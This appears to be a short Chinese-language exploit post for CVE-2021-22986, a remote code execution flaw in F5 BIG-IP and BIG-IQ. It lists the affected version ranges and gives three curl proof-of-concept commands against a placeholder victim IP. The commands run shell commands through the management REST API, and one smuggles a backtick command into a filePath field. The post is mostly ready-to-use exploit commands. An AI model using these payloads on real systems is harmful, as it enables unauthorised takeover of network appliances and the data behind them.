CVE-2021-22986 F5 BIG-IP 远程代码执行

## CVE-2021-22986 F5 BIG-IP 远程代码执行

影响版本：
BIG-IP：
– 16.0.0-16.0.1
– 15.1.0-15.1.2
– 14.1.0-14.1.3.1
– 13.1.0-13.1.3.5
– 12.1.0-12.1.5.2

BIG-IQ：
– 7.1.0-7.1.0.2
– 7.0.0-7.0.0.1
– 6.0.0-6.1.0

poc1:
“`
curl -su admin: -H “Content-Type: application/json” http://[victimIP]/mgmt/tm/util/bash -d ‘{“command”:”run”,”utilCmdArgs”:”-c id”}’
“`

poc2:
“`
curl -ks https://[victimIP]/mgmt/shared/authn/login -d ‘{“bigipAuthCookie”:””,”loginReference”:{“link”:”http://localhost/mgmt/tm/access/bundle-install-tasks”},”filePath”:”`id`”}’
“`

poc3:
“`
curl -ksu admin:[redacted] https://[vimtimIP]/mgmt/tm/access/bundle-install-tasks -d ‘{“filePath”:”id”}’
“`

[@wugeej](https://twitter.com/wugeej/status/1372392693989445635)